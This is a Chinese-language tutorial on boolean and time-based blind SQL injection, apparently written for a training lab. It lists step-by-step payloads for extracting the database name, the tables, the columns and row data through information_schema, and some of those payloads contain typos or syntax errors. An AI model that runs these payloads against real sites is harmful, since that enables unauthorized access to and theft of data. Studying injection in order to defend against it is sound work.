盲注:盲注是利用与本身并不会返回想要的数据,而通过注入代码后观察差异,如页面差异或时间差异等,以此来判断注入的代码是否成功运行。 注1:由于数据的不确定性(数据组成可以是数字,大小写、特殊字符),盲注并不适合来爆破数据量过大库值。
#盲注流程
- 判断是否存在注入点
- 获取数据库长度
- 逐字节猜取数据库名字
- 猜解表名数量
- 猜解某一个表名长度
- 逐字节猜解对应表的名字(重复6、7猜解所有表名)
- 获取某表所有字段数量
- 猜解其中一个字段的长度
- 逐字节猜解对应字段的名称
- 判断数据数量
- 猜解某条数据的长度
- 逐位猜解数据
#布尔盲注
#盲注函数
Length(str) 返回字符串长度
Limite pos,rows 返回指定行数的数据(pos从0开始计算)
Substr(str,pos,len) 截取指定长度的数据(pos从1开始计算)
Ascii(str) 返回最左侧的字符的ASCALL
Left (str,len) 返回从最左侧开始计算的Len个字符
Right (str,len) 返回从最右侧开始计算的Len个字符
#盲注简单示例
- 注入点判断(通过单双引号闭合语句看页面是否有差异) 正常情况 通过加单引号后异常情况(页面没有显示数据了)
- 获取数据库长度 payload: and length(database())=9 如果后续的条件判断为真,则语句执行成功,则会有返回成功的数据,否者页面为空。
- 逐字节猜库名 payload: and substr(database(),pos,1)='0-9|a-z|A-Z' 同样的条件判断为真才有输出,且注意字符要加引号,单双皆可以
- 猜解表名数量 payload:and (select count(table_name) from information_schema.tables where table_schema=database())='num'; 同上,
单同样注意一点,select返回的是字符,所以注意加引号。此处num可以不加引号。 - 猜解表名长度 payload_1:and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=num payload_2:and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=7 同上,有返回代表结果为真。注意第一条payload是length()内是两个括号每一个括号扩住参数,第二个括号是表示整个select语句为一个整体,缺一个会报错。
- 猜解表名 payload:and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='char'
- 获取表中字段数量 payload:and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='comment')=4 同上,注意额外的判断条件table_name='表名'。
- 猜解字段长度 payload:and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='comment' limit 0,1)=2 同上,注意前面的需要注意的。
- 猜解字段名 payload:and substr((select column_name from information_schema.columns where table_schema=database() and table_name='comment' limit 0,1),1,1)='i' 同上,注意引号的使用。
- 判断数据量 payload:and (select count(id) from hetianlab.comment)=5
- 猜解数据长度 payload:and (select length(id) from hetianlab.comment limit 0,1)=1 注意加limit限制数据数量
- 解析数据 payload:and substr((select id from hetianlab.comment limit 0,1),1,1)='1' substr 返回的是字符串
#时间盲注
通过观察页面响应时间,以此判断布尔表达式是否执行成功。
#盲注函数
if(布尔判断式,语句1,语句2) 当布尔判断式为真时执行语句1,否则执行语句2 sleep(time/sec)睡眠指定秒数
#盲注简单示例
- 数据库
- 获取数据库长度 payload:and if(database()=9,sleep(3),sleep(0)) 这延迟,人已去世...
- 逐字节猜库名 payload:and if(substr(database(),1,1)='u',sleep(3),sleep(0))
- 猜解表名数量 payload:and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(1),sleep(0))
- 猜解表名长度 payload:and if(select length(table_name) from infortmation_schema.tables where table_schema=database() limit 0,1)=8,sleep(1),sleep(0));
- 猜解表名 payload:and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='u',sleep(1),sleep(0));
- 获取表中字段数量 payload:and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3,sleep(1),sleep(0));
- 猜解字段名 payload:and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i',sleep(1),sleep(0));
- 判断数据量 payload:and if((select count(id) from users )=3,sleep(1),sleep(0));
- 猜解数据长度 payload:and if((select length(id) from users limit 0,1)=1,sleep(1),sleep(0));
- 解析数据 payload:and if(substr((select id from users limit 0,1),1,1),sleep(1),sleep(0));
#总结
- 盲注式通过插入布尔表达式,然后观察页面反应以此判断表达式内容是否为真的语句。
- 盲注对于数据量较大的库比较无力,需要花费很多时间。
- 布尔型和时间型盲注本质没有区别,只是时间型式通过页面响应时间判断条件真假。
- select语句最好使用一个()包围起来,这样表示一个整体,如果不使用,在某些情况下会出现错误。
- sleep()函数会使语句无返回,谨慎使用。
- select 语句返回值有点像一个对象,可以使用各种类型与其对比。
- substr()函数返回的是一个字符串,注意引号的使用。